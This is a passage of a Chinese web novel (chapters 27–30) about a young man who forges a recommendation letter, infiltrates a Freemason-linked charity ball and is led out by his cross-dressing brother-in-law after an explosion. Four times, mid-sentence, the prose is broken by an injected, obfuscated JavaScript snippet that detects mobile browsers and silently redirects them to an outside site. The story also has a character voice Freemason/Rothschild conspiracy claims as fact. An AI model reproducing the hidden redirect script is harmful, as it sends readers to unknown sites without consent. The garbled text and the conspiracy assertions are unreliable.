项廷眼中,白希利当之无愧一个妥妥的藐视科学的传销教主,各种谎言张口就来。他这样唾骂姐夫,反倒让项廷逆反、辩证地想,是否其中另有隐情,姐夫没这么坏。过去自己的思维活动是线性的,白希利却阴差阳错地让他冷静下来。一个心态浮躁的人,是不可能清清楚楚地看到事情的反面的。 只是他心里对姐夫有太大的芥蒂,不会摆到桌面上去说,只会在心里捂着,捂住了,捂死了。 这一系列的念头像电钻一样钻进项廷心里。 最起码钱姐夫真给了啊! 总之,项廷愈发觉得,美国的快乐教育功不可没,美国人真是参差。蠢的非常蠢,失去了自我意识。中国人跟他们比,全中国人民都是孙悟空。聪明的非常聪明,已经通神,而且意志不灭,骗你就跟骗孙子一样。对,说的就是你!蓝珀。 午饭时间,项廷因认为白希利分不清消毒液和饮用水的区别,好心提醒了一句。 白希利终于被他理一下,又来劲了,爆出一个特大猛料:“那块手帕猜猜看是谁的?这问题对我来说太无聊了,但看你那么不甘心,让我考虑下要不要慷慨一回,告诉你,哼,看你的表现!” 项廷把嘴里的东西嚼完,才瞥了一眼:“爱说不说。” “你!那等我心情好了再说吧!对了,你……你的伤都是怎么回事?”白希利今天问了第三遍了。 “打架进警察局了。”项廷用最普适的原因来敷衍。 “你手臂上都是针孔啊!” “自己扎的。警察不放我,我就拿针管扎胳膊,我说我有艾滋病,通通退后。” 白希利笑得差点喷饭。家里头每天锣鼓喧天,他也不知道自己为什么整天孤孤单单,和项廷在一起,内心里一下子被从来没有过的喜欢和舒畅填满了。手往前一伸,拉住了项廷的袖子,一掀一掀的,有一种高亢之意。项廷貌似任他打,任他擂。你看我我看你,有半分钟没有说话。因为项廷也在集中精神观察白希利,他好像真的大脑空空,压根不知道推荐信一事的底细。这小子到底不像干大事的样子。 于是项廷回归吃饭。 白希利聊个没完,说起上学的事,盛情邀请他来自己的私立高中。项廷却说自己没有标准化考试的成绩,有钱也不大能申请到。白希利催他去考,项廷说不去;白希利说你必须考呀,项廷说没必要。项廷的厌学又深得白希利之心。 白希利说:“这个不必要那个不需要,你到底想要什么嘛,差家伙。” 项廷垂着眼睛一副沉思者的样子。白希利为了给他创收,一掷千金,买了很多薯条。根本吃不完,项廷在餐纸上用薯条摆着什么符号似得。 幸亏白希利坐在他的对面,没有坐在他的旁边,否则当耳朵里听到项廷说,他只想要“手帕”的时候,眼睛也会毫无防备地看到那三个字母,五雷轰顶。 很多事情你越想越容易钻死胡同,越觉得有多么了不起似的,等你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398213|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真不想了,他也就算个屁! 项廷如是宽慰着自己,同时在毫无主观意识地情况下,用八根薯条摆出了:LAN。 哗!项廷突然釜底抽薪,把餐纸一抽,薯条们七零八落地掉在餐盘上。 白希利惊呼:“你吃完了吗?你去哪呀!” 项廷撂下一句:“面试。” 下午一点半,曼哈顿上西区,紧邻中央公园和百老汇,项廷从哥伦比亚的大学的招生办,旁边的职员服务办公室,凯旋而归。 他拼好了白谟玺的推荐信,并不是玩那么拼一下,死乞白赖地给自己的申请之路验验尸。 首先他模仿了白谟玺的笔迹,模仿一整封信很难,但模仿几个单词,小学生都会。比如,他把college改成了team,把student改成了assistant,信里其他都是套话,不用改。下一步把面目全非的缝合产物送进复印机,学习活字印刷,试验将近百次,终于得到了一张热烘烘崭新的信,足以以假乱真。 哥伦比亚大学一看白谟玺的签名,真如天下掉下来个活龙,可又奇怪为什么是复印件呢?要不要打个电话确认一下?再看信中竟然只求一个设备修理工之位,区区芝麻事,恐惊天上人。 好马不吃回头草,语言学校把他赶出来,ok fine,那他直接上大学!不考托福不要紧,没美国高考成绩无所谓,可所谓设备修理工,那可是拥有随时大摇大摆进入一个正在上课的教室,检查教学设备权限的人。走在宽广的校园小道里,绿洲般的南草坪上,项廷正打算给姐姐打个电话,告诉她你弟已是哥大的走读生。 项青云没有接电话,打了两个都没接,也许是睡了? 另外,项廷从店里走之前,特地问了白希利。白希利上次说自己能直接面见麦当劳总裁,是不是当真?白希利当时不太快活,只左哼一声右哼一声。项廷想了想,做了一个尚为草率的决定。他拨给曾经国内的那些铁哥们,跨国电话每分钟五美元,项廷却把要交代的事来回讲了三遍。 处理好一切,项廷从兜里掏出一张小纸条。白希利说这就是手帕的秘密,临走前扔过来一个小纸团,让他闲下来了,再打开。 上头是一个地址,非常具体。 项廷送中餐外卖时,很少去那么高档的街区。否则他一定会立刻反应过来,纸条上的那个地方,不偏不倚,就在联合国广场666号正对面。 27. 凌波扶出霓裳女 白希利脑残,项廷没太把他的话放心上。项廷直接去了姐夫信箱里的地址,没什么目的,就是转转。推荐信一案没头绪,这会有关姐夫的一切,他只能盲目、尽量全面地去接触,谁知道哪朵云会下雨呢? 到了地方,便见一个豪华庭院,庭院的最中央是启示录中大天使迈克尔的雕像,里头几座气气派派、宛如绝妙艺术品的大厦。 项廷想,兴许姐夫过来谈生意的,姐夫每天的活动也很简单就是社交。自己进不去,进去也没用。而且貌似得穿正装,否则有门票也过不了安检。 这里是一家慈善基金会,下午正在举办义卖会的预展,晚上还有酒会。 要进去,首先得穿过一个5层楼高的玻璃纤维拱门,它的造型是一个巨大的直角尺和圆规,下面悬挂着一个金色的字母G。接着是一座拱桥,桥下是椭圆形倒影池,向空中喷出一道道弯曲的水流,溪水由高而低,形成了一叠一叠的瀑布。从镀金格网下方一扇高玻璃门进入基金会中心,建筑的内部墙面都镶着胡桃木饰板,铺着厚实的锦毯,在最醒目的位置矗立着一个11英尺高、身着礼服的乔治·华盛顿的大理石雕像。 顶层的大厅里,数百枚闪耀的水晶吊灯璨如星辰,长桌上覆着纯白色天鹅绒的桌布,中间摆放着独具匠心的花卉作品,深银色餐具反射出宴会厅的耀眼光芒。晚7点,华冠丽服的名媛们走下英式旋转楼梯, 上流的绅士们早已在这里等候了。 歌剧演员和芭蕾舞者的表演告一段落,男士纷纷引领女士步入舞池。交响小调轻轻响起,每个音符无不昭示着:前方名利场。 “怎么不去跳舞呢?”蓝珀在离费曼两步远的地方停了下来,状似意外、却满不在乎地笑了笑,“我斗胆地提醒你,王子殿下,这在舞会上是有失体统的。” 费曼说:“我在等人。” 蓝珀似乎同情:“哪怕一直等不来呢?” “我愿意等。”费曼始终高不可攀、无动于衷的神色,就像一张古老家族的画像,“你先去吧。” “我吗?我不要。过去我就一直不大理解你们欧洲的贵族,觉得贵族就是有钱,整日骑马射箭,巡视一下自己的工厂、庄园,说几句漂亮话,然后就是无休无止的舞会,无日无夜地在一起围聚,每天讨论的不是这个王公,就是那家的小姐,然后聊聊自己和别人的婚事。看吧,譬如今夜:高傲而干巴巴的虚荣心,形形色色的自尊心,此外什么也没有了。” 噼噼啪啪的小爆音,蓝珀在抽水烟。 费曼说:“烟草会破坏舌头上的味蕾。” “都是一口泡沫有什么口感。”蓝珀看看长桌上千篇一律的食物,再望了望费曼,“你也会假笑,太恶心了。” 费曼说:“因为你这样说话,让我想起一个人。” 蓝珀拿着杯子的手指微微动了。接着,他听到费曼说:“我在等的人。” 约摸十年前的一个秋日,费曼在康河的银桦下邂逅了一个蝴蝶缠身的少女。当时宫廷里的年轻人一想到冒险就脸色发白,到希腊或非洲去旅行,对他们说来是胆大包天的行动,若不成群结队,简直寸步难行。不是害怕当地人的长矛,而是怕本国的平民笑话,简直怕得要死。而那位从天而降的东方少女,却说英国人的礼貌只在头几天尚且新鲜,多了就会麻木不仁。即便她和同学们在物质上贫富悬殊,而心灵却比他们的傲慢高出十万八千里。一个以目无下尘闻名的公主,不大注意围着她转的贵族侍从,她只觉得情深得令人发笑,她说在拿破仑帝国时代,情书不会写得这样枯燥无味吧?那语气仿佛是夜风中的一个轻吻。和她在一起,心里只容得下陪她这一件事。日子过得很快,一天快得像一小时。一想干正事,思想就开小差,等到一刻钟后,往往才如梦方醒,晕头转向,神神经经,脸色一阵子通红,一阵子煞白,填充灵魂的只有一个念头:她爱我吗?少男们将想象力用在无穷无尽的青春烦恼上,整个剑桥郡那时的症状都有点稀奇古怪。王室算什么?她才是政教合一的皇。她对别的人有没有爱情的表现不得而知,只是只要说了一句自命不凡、十分出格的俏皮话,所有每时每刻都在等待她作出宣判的男人当中,她的第一眼一定会看看费曼的反应。作为毕业礼物,费曼送给她一整套乔治王朝时期的瓷碟和银器,她却说最想要的东西是一块方方正正的大银砖,或者是伊顿的银纽扣。那粒象征着费曼曾是公学里最优秀的好学生,最墨守陈规的英王室的银纽扣。 她从来不懂欠了人家的情,毕业典礼的第二天飞往美国,两人再相遇时,就变成了他。蓝珀的粉饰蠢不可言,他说那是我妹妹叫蓝霓,车祸死掉了。如果多嘴多舌,他立刻会说你爱得不够,才问题多多。蓝珀的敷衍什么也不是,他的头发都懒得修得太短,那时有时穿着燕尾服时,也低低地挽着一个中世纪式样的蝴蝶结单马尾。 蓝珀说:“失陪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398214|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我还是想跳跳舞。” 费曼没有挽留,甚至什么也没说,一如既往。 蓝珀端着香槟走过一个拐角,听到迎面的一个声音:“Lan,你看起来光彩照人。” “哦,谢谢你,老公爵。” 眼前的这位贵族老爷,像个温文尔雅的大学教授,就是白家兄弟的中国父亲。似乎已经与祖国割席了,被浩瀚无际的太平洋隔断了,真名不详,大家现在叫他韦德。白韦德因杰出贡献被欧洲边陲国册立为公爵。但蓝珀称呼他老公爵时,好像总夹带了一点淡淡的讽刺。 韦德说:“已经尽兴了吗?我注意到你没有跳舞,也没有和客人聊天。我的小儿子正在对面的酒店举办派对,欢迎你去。” 蓝珀:“我挖掉了他的一只眼睛,按理说,他应该铺着红地毯迎我进门,才对吧?如此难得的关照,不是每一位宾客都能享受的。” 一句话弄得所有人很尴尬和没有余地。周围的宾客不约而同地用或蓝或绿的大眼睛看过来,局面一下冷了场。韦德意味深长地瞧瞧他,蓝珀也报之微微一笑,两个人说说就笑了,大家见状也配合着说笑了一回。 韦德表示:“你的去留当然随意。可是今夜多美的舞会,什么也不缺。换作我是你,决定离开之前,也会记得:一个人总有自己不得不完成、命运攸关的使命。” 蓝珀听他说完,有一种乐天知命的平静。 穿过衣香鬓影,回到刚才的位置时候,费曼虽然没有一味地沉浸在思绪里,也没有走多远。他的气质如此与众不同,路过的服务员对他鞠躬都会更慢更深一点。 蓝珀跟上去,异常直接地说:“今天约你来,不是我想。有帮人很难缠,一闻到腥气就盯着不放。” 费曼也不奇怪:“想说什么?” “我说什么,你都会答应吗?我们之间别讲那个客气了。” “说说看。” “先答应。” 蓝珀感冒了,鼻音有点重,也不关心对方听得懂听不懂,好像指望有菩萨点拨一下费曼,让他忽然茅塞顿开。转而,蓝珀用法国人一样的轻浮,笑了笑:“要是你等的人来了,她就可以为所欲为吗?” 不等到费曼的回答,蓝珀便转身去了,轻盈如许。去更衣室的路上要经过后勤服务中心,蓝珀只想着速战速决,没有留意到,擦肩而过有个侍应生因为人手不够临时被加派过来,长得,有点像他小舅子。 28. 公子千金不卖笑 下午的时候,项廷原本没那么想凑热闹,可正要走,却见语言学校的大胡子主任进去了。这可给他发现蛛丝马迹了。 走到庭院的后门,项廷在纽约餐饮业小有名气,认识送货的司机,帮忙卸货进出后厨,最后一次进了就没再出来。 逆着人流来到大门口,穿着素色的职业套装的看门人检查了他不知道哪搞来的山寨入场券。严查客人的身份是这个看门人的职责。一旦发现什么可疑的迹象,他就会马上踩下电子踏脚板,转门锁住,再也转不起来。可看门人甚至给了项廷一份拍品清单。项廷夹在一群衣冠济楚的人物中间走过宽大的楼梯,面不改色地经过长廊进入了拍卖会的正厅,比同行真正的公子哥看起来还要潇洒自信。 拍卖大厅足有网球场大,装饰得既富丽堂皇又古典优雅。大厅顶上吊着两盏当下很时髦的枝形吊灯,光线柔和温暖,与拱顶棚上的条灯交相呼应。周围橄榄绿的墙上悬挂着样式繁多的绘画和壁毯,平台上面挤着一群专业摄影师。有钱人们注视着主持台上的拍卖师,拍卖师钮扣眼里插了一枝大红色的香竹。 五点开场,拍卖会有条不紊地进行了半个小时。项廷找遍全场也没找到大胡子,跟丢了目标,却有了意外发现。 靠近出口的位置有个工作人员,手里提着一只大匣子,时不时拿起腰上的对讲机,黑头发,有雀斑,那不是南潘吗? 项廷绕到他身后,拍了拍他的肩膀。南潘回头的那一刹那绝对像个冷酷的杀手。 项廷视如不见,爽快地笑道:“太巧了,咱俩怎么会在这儿碰头,你也是冲着这次拍卖来的?” 南潘说:“挣点外快。” “哦!兼职安保,站门口这么久了,才看到我吗?” “不好意思,我实在没有印象。” “可我早就看到你了。我过来的时候,你在基金会四百码外的草地上躺着。” “……野餐罢了!” “野餐还带风向标啊?下次记得叫上我,我可是老海员了,船长都听我的。我的体感现在风力是4.5级,不超过5级,差不多吧?四百码外的靶子小巴掌大,最多不比一张邮票大多少,真心不大。不过你那步枪瞄准镜一开,靶子上几条线都数得清。靶心啊,大约直径十五厘米,等会儿天黑,这楼上那月亮,估计也就那么回事……” 南潘自称死刑犯的身份与项廷初见,项廷自然猜到他成天干的是杀人越货的勾当,潜入这种场所,自有任务在身。骑车来这的路上,竟见南潘趴在草地上,的确像在野餐。他当然没有大庭广众之下掏出真家伙来,可手里抓一块手绢,放在风中。这操作项廷太熟悉了,布往哪飘,风就往哪来,这时候一般先打一枪,看看弹着点在哪,修正好,下一枪就包准了。 “好了!你以为我不会杀了你吗?”南潘最不想听到的就是这个,被项廷一番话诈唬了,“不该问的事别问,你最好不要知道我是谁,怎么才能让你闭上嘴?” 项廷看着他的眼睛,笑一下:“帮我弄只枪。你那儿,小菜一碟吧?” 确实。走正常渠道,项廷想拥有一只枪,不仅要先考持枪证,还得把全美翻个遍找到愿意卖枪给中国人的店。然而对南潘来说,要枪不就跟地上捡似的简单么,他那枪多得跟纸一样。 南潘说:“你跟我来。” 项廷却说:“不要你现成带的,我要把好枪。” 南潘瞪着他,但是项廷知道的有点多,南潘也不敢抱怨,暂时嗯了一声。 拍卖会进行到一半,还是没看到大胡子,项廷在最末的几排坐下来。台上的侍者正端着一只黑天鹅绒托盘,盖巾揭开后里面是一条平平无奇的项链。项廷看了一眼目录,拍品下面还有一段粗体字母,煽情的散文式介绍。 拍卖师说底价八万,底下一片此起彼伏,很快叫到了二十三万。 项廷不由皱个眉头。这时南潘也过来坐在他身边,因为好像有点气不过自己被他拿捏,等个机会反击他。南潘找话说:“你在想什么?” 项廷其实想说,感觉太溢价了,一万都不值。当然,也可能是中美两国鉴赏眼光不同,玉石在美国不也跟鹅卵石一个价吗?算了,美国人爱当冤大头就当呗,以前父亲也说,有些钱,得之不一定是福,去之不一定是祸,超脱一点吧。 项廷没说真心话,找别的理由:“就是气氛没有我想的那么紧张。我以前没来过拍卖行,心里想的是那拍卖师最后得砸三下锤子,‘要卖了,要卖了,卖掉了,买定离手了,成交,走人’这种感觉。” 南潘冷笑一声,似乎在笑他的鄙薄无知,土得掉渣:“你说的是菜市场。这地方可不一般,这可是共/济会的地盘。” “共/济会?” “一个组织,大欺小,富玩穷,宣称自己是世界政府,还编了新宪法,哈哈!”南潘笑得很响,忽然停下来,“等等,你居然一无所知就敢闯进联合国广场666号?真是无知者无畏啊!这儿的基金会,名叫路西弗,表面上是做慈善的样子,实际上,钱都是罗斯柴尔德家族出的,主要就是为了共/济会。所以你看看就好,他们就是在洗钱,愿意洗多少都是自导自演。” 项廷向四周扫了一眼:“这些都是共/济会的人吗?” 南潘觉得他能力强,又是一张白纸,愈发想发展下线,便很有耐心地说:“这事儿不好说。现在加入他们挺挑的,至少两个会员举荐你才行。最开始是贵族白人,必须是男人,现在一度发展为必须是大贵族和各国的王室成员。当你的权势大到能够撬动整个世界,他们肯定是跪着把你请进去的。” 他们说话的同时,场上叫价不断攀升。 “现在为三十万。”拍卖师重复。 前排的一位富绅伸出两个指头,要加价了,但是他的神色有点不安,他的出价已经接近了极限,至多一万五了。大厅响起了嗡嗡的议论声和零零碎碎的鼓掌声。 接着一个平平的祈祷式的语调,倦了,乏了似得:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398215|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三十五万。” 整个大厅寂静无声,紧接着观众们都站了起来欢呼着,全场气氛极其热烈。 南潘说:“哝,叫三十五万的这个人就是他们的人。他只要戴着西装的口袋巾,主持人就可以一直加价,他一旦取下来,加价就立刻停止。” 项廷活生生地发呆,声音一紧:“你认识他吗?他很有名吗?” 南潘奇道:“干这行的谁不认识啊。Lan呢,专门给共/济会拉皮条的,业务多到做不过来,能掐会算,要风得风,要雨得雨。” 项廷从走进这座贝阙珠宫般的建筑开始,便深感三角贸易从未远去,北京和上海与之相比都不过是由一片简易房构成的难民营。资本主义的妖魔鬼怪,孙悟空来了都不知道先打死哪一个。他以为他来到美国进入了自由民主的新世界,没想到只是旧势力转移到了地下。现在他正式被告知姐夫是邪教扛把子的。 项廷莫名觉得憋屈,南潘还火上浇油:“知道么,希特勒上台是华尔街的功劳。” 项廷死死地盯住姐夫的背影。 还有人要和蓝珀争,加到三十六。 蓝珀说:“我刚刚咨询了我身边这位银行家中的银行家,他提议要不要用石头剪刀布决定谁能得到这件藏品。” 项廷朝他身边看去,姐夫旁边坐的那个王子实在王子。他的风度臻于完美,不是费曼还能是谁? 竞买的人说:“愿阁下能够慷慨割爱,我想将这条项链献给我的爱妻。” 蓝珀说:“将心比心,我也想把它送给一位落落寡合的冰山美人啊。” 无情一口价抬到四十,蓝珀得手。他非常满意地笑了,然后便一直光明正大地偷看费曼。 姐夫又在他面前上演出轨小品了! 现在是五点多,舞会六点半才开始,项廷胸腔里却好像已经在开舞会,各种脚步纷乱而至,踩得他生气又心慌。姐夫今晚会跳舞吗?他会和多少个男人跳了一通宵的舞,他会跳到两腿发软腰也酥了吗?是的,资本家的面目何其可憎,金银无足走万家,资本的属性就是流动,所以这个人才会软滑得不像话。 项廷真想把姐夫就地卸了。 台面上的交易蓝珀一切从从容容地做完了。后排的项廷微微躬着身体将两只手并拢在一块,除了大拇指和食指以外,其他的手指相扣着握成半个拳头。他像个年轻的丘吉尔那样深沉,沉思者的造型,两个大拇指抵着鼻子一动一动,好像是在活动手枪的保险盖。 项廷忽然愤然离席,南潘更喜欢他整个人给人一种锋锐的感觉了,心想着力邀他加盟,便示好:“你还要呆在这里吗?我可以把我的助手介绍给你,一个英俊的男孩身边没有漂亮的女人做伴,反而会让人生疑的。而且,她是个特工,她很万能。” 于是就发生了项廷成功混入安保级别甚高的内场,在后勤偶遇蓝珀那一幕。可蓝珀赶时间,项廷过了几小时了还在闷头生气(甚至更气了),两人究竟谁也没认出谁。 29. 九天仙女下凡尘 项廷上到大厅的二楼,俯瞰舞池,如此观得全局。在那巍峨的舞厅圆顶之下,人显得虚焦渺小了,项廷仿佛置身于一个侏儒之国。一曲优雅的华尔兹流淌在空中,旋律缓缓转为更加活泼的爵士,舞步也随之变得自由奔放。 不一会儿,项廷的目光终于锁定了那个大胡子。他正在那吃炖肉,肉炖得很香,但是太烫了,大胡子每次伸手去叉时,都一副眦牙咧嘴的模样。 项廷正想着要不要乔装改扮,迂回接近他一下的时候,纸醉金迷的世界仿佛被上帝按下了暂停键。 全场突然陷入黑暗,音乐戛然而止。 停电了。 一开始,周围一片静默,只听得到窃窃私语和衣摆声。然而很快,舞会的气氛出人意料地没有变得尴尬或是紧张,反而多了几分神秘和趣味。韦德让大家稍安勿躁,电力将在三分钟之内恢复。不知是谁带头,人们开始即兴地轻声哼唱起来。也有的人看起了手机,光束就像一只只舞动的萤火。 费曼只有一种抽离,仿佛世间俗事都没法惊扰他。从开场到现在多少高门淑女的暗示,他也如是视而不见。 这时,忽然有一只出水白玉似得手勾住了他的手,美杜莎一样缠住他,轻轻地把他拽了过来。 蓝珀笑他:“才一会没见你,你就又跑到墙边当壁花。” 费曼不禁说:“你怎么在这?” 蓝珀神出鬼没,竟然躲到了巨型九层香槟塔的桌底下,并且把费曼拉进来当了共犯。今天心情美丽,姑且赏你与我一同呼吸。 “中央公园就是你家的背景墙,每天被太阳晒醒,不觉得难得的隐私弥足珍贵吗?圣经上说绝对不要错过躲猫猫游戏,我们只能遵照神谕了。” “是你也不奇怪。”费曼的声音干净冷峻。 “嗨嗨嗨,在臭我呢?”蓝珀说着,一只手伸出桌布取了一盘小蛋糕,小银叉戳起上面一颗鲜红欲滴的草莓,“头抬起来。” “…下次不要再这样做了。”草莓甜得像梦。嘴巴里像蜂蜜水冲开,一直淡淡地甜了下去。 “还有下次呢,你知道我上次像这样还是几岁吗?”放下蛋糕,蓝珀立刻恢复了一种半生不熟的口吻。 刚刚被拉进来的时候,费曼确实无意之中碰到了他身上形形色色玲珑累赘的东西。 蓝珀笑他:“不要到处乱看!” 费曼说:“我看不见。” “你不想看见吗?我这样,可不一样。” “你就是你。” 看不见也能想象,蓝珀现在有腰有胯有裙撑估计像个蛋糕塔,每走一步都像要摔倒。蓝珀也真的说:“我走路都没有信心,刚才还被地毯边给绊了好几下。真是好累,我要坐地上了。” 费曼没有让他倚一下、稍稍扶他一下的意思,费曼的脑子里好像一直非常清晰地拉住了一根弦,所有干扰和节奏都会被化解。 蓝珀就说:“可我这人最在意的就是干净了。” “你以前不是这样。” “你这人特别不懂事。别提以前了,我不是十几岁了,青春不是人民币,不能存银行保值,也没利息。说说现在吧。” 此时无声胜有声。半晌,费曼说:“你的意思已经很明朗了,你想让我加入共/济会。” 蓝珀也不装了:“我也不想给你勾起来这一件麻烦事,但我的工作就是确保大家都皆大欢喜。你可能不相信,我也不想每天迷失在赌局,堕落在金钱堆里,可是门永远从我的背后关上,要饭的人不能挑嘴。如果不成为座上宾,就只能做盘中餐。你知道吗,我真的很期盼世界末日,可总是盼来盼去一场空。” “我知道了。” “对不起,我太紧张了……我一般不跟人说心里话。” “他们逼迫你了。” “也算不上,只是偶尔像黑白无常一样上门索命。” “我可以处理。”费曼声沉如水,“或者我们离开美国。” 蓝珀把一只胳膊肘放在膝盖上,撑着下巴的手关节很白,就仿佛他在紧捏着拳头一样,轻叹一声:“逃又能逃到哪去呢?就算找不到我,他们也会伤害我在意的人,他们已经在这么做了。比如,我那个中国来的便宜小舅。” “你很在意他?” “我很久之前就见过他,有时候看到他,我感觉自己迷失了时间,在发白日梦。我没有家人了,他是我的至亲。”蓝珀说出这个词,也把自己惊到了一样,尽量把眼睛睁到最大保持清醒,“我真是恨他。” 费曼不语。蓝珀抱着一个大水杯在喝冰水,然后又往威士忌里兑橙汁。两人说了一会没用的话。蓝珀追究起,他有没有在自己不在的时候,跟别人跳舞。但是不给费曼任何回答的机会。蓝珀说你不想跳,因为长得好看的人不是非要有个舞伴证明自己没人要;蓝珀又说你跳了就跳了,无所谓,因为从小到大只要我喜欢就没人抢得过。 回到正题,费曼说:“加入共/济会有什么条件?” “对王子来说一切门槛都形同虚设、如同浮云吧?只是你要把那点良心先丢进冰箱冷静一下。剩下的,就是替那些大银行搞点小动作,钱太多了,你得像唐老鸭的叔叔在金山里快乐地铲来铲去。但嘛,我猜他们还真不够资格让你动手屈尊纡贵做这等小事。” “那么,你当初劝我放弃高盛,也是因为这个原因?” “你这么看我,你就觉得我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398216|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有什么居心不良?跟你说几句悄悄话就等于越界了,也犯了天条吗?有句话叫做当面教子背后相夫,大家都要面子的,有话本来就应该关起门好好说的。好了,一言为定,那你有什么条件吗?” 沉默就像海河交界的潮汐。外面好像来电了,灯火通明,魅力十足的乐曲重新飘浮在略带颤动的空气中。 “一支舞。” “什么?”蓝珀似乎没听清。 还没等他再问一遍,突然传来一声巨响,几英尺以外的厚玻璃板窗子被震得剧烈摇晃,四处飞溅着碎玻璃片。靠近爆炸地点的几名宾客被强烈的气流掀翻在地,一瞬间四周死一般的静寂。紧接着吊灯掉在了地上,所有人尖叫着向大门口跑去。 费曼的三百六十度心耳神意的皇家锦衣卫立刻到位。可是混乱之中,蓝珀早就甩开了费曼的手,朝着一个完全不可理喻的方向决然而去。 宴会厅似暴风雨中的鸟巢岌岌可危。可众人在如此时刻,竟也纷纷呆视那位小姐的背影。倾倒了巴黎的夜空也不能为那条裙子披上一层如是的星辉,她们情愿减去一半寿命只为换取一只她足上的水晶鞋。满城的青春美貌霎时间了无意义,特洛伊海伦的光荣销歇,阿芙洛狄忒的夕照仅仅供人凭吊,谁人再那把裙裾展成莲绽似的旋转,一千转也是空转,里面裹的全是俗不可耐,没有一丁点罗曼蒂克,尘世间所有克里诺林裙因此尽数失色如同一堆晴天娃娃。那般的美丽比灾难更加轰动,是司汤达综合症引发了爆炸。 大厅再次断电,人群愈发恐慌。项廷的手突然被握住,有人带着他朝一个只有内部人员知道的紧急出口那逃生。 夜色如同鲸鱼张开黑洞洞的大口,他们出来时,绝大多数人还困在大厅里,里头又一次发生了爆炸。 项廷想说安全了,让这位抓着他一路夜奔,意大利名模一样高挑,但是裙子很迪士尼的女孩停一停的时候,却见女孩手上的腕花松了微微垂下来,那娇嫩的花萼搭在了无名指上的那颗世无其二的春彩翡翠上。 盯着女孩裸露的、细滑的、白得像擦了爽身粉的颈背,项廷猛然吸了一鼻子的凉意,透心凉。 世界安静得非凡。 项廷先开口,愕然地叫了他一声。 女孩回过头时,天上下起了小雨,如酥一般,打湿了晚礼服胸前的蕾丝,透出胭脂般的灼灼肉色,荡漾阵阵春之蓓蕾的馨香。除此小小的失仪之外,完全是千金小姐的体统,太易使一个魂销的少年深陷入绝对的奴隶状态之中。 团团璧月之下,他把那灿烂不可一世的金色长发挑到那苍白湿润的铃兰一般脖子后面去,明明是霜花般一触即碎的娇小姐,甩起小舅子的耳光来,劲比牛还大。 30. 怎当倾国倾城貌 一巴掌划过去,空气中留下了一道淡淡氤氲开来的香痕。 项廷毫无抵抗力地被打得上身一歪,眼冒金星着头一低又被大裙子闪花了眼,脑袋里塞满了五彩斑斓的黑。整个天地充斥着一片星云般的模糊,唯有面前这张脸无比高清:眼睛是神来之笔最抢戏,宇宙洪荒竟有这般秀气的星星,睫毛就像非洲小鸟爱美的尾羽,粉红花瓣一样的嘴唇原来当真不是安徒生杜撰。这些奇形怪状的喻体在真实世界里组合起来实在滑稽,可是项廷现在如同在看日本漫画,他怀疑是不是一场爆炸致使太阳系坍缩,盖亚蓝星已然被压扁成了二维平面。 蓝珀见他盯着自己不放,完全静止画面,爆炸炸得轻微脑震荡了? 连名带姓地点名:“项廷——!” 项廷突然一把拽住他的手腕,这么举到两人中间。项廷目不转睛,仿佛寰宇就缩小成了那一小寸肌肤。蓝珀被抓疼了,叫他没有用,甩又甩不开,反倒弄得自己身上的披肩如云彩般滑落了下来。 此时项廷但凡是个人都会天旋地转。这个世界的镜头开始怎么一直左右反转,看着像印度电视剧一样项廷眼睛好痛。 只因那朵腕花的模样与手帕上头一模一样。 经洗衣店大婶鉴定,那手帕是失传的辫织,又云雕题镂身。行里的黑话项廷不懂,却一刻也没有忘。拿到哥伦比亚大学职工权限卡的第一时间,他就去了图书馆,关键词检索了数个小时,最终得知此乃苗族的一种手艺。苗族在美国现今有20万,基本都是几十年前美国帮着从老挝、越南、泰国之类国家撤走的,打越共的后裔,不过在美国也是分散安置没让聚居,而这些东南亚苗族又都是一二百前从中国南下迁出的…… 项廷一个劲地学术研究,越跑越偏,愣是没想到家里头正有个如假包换的苗族姐夫,谁会往那方面想啊! 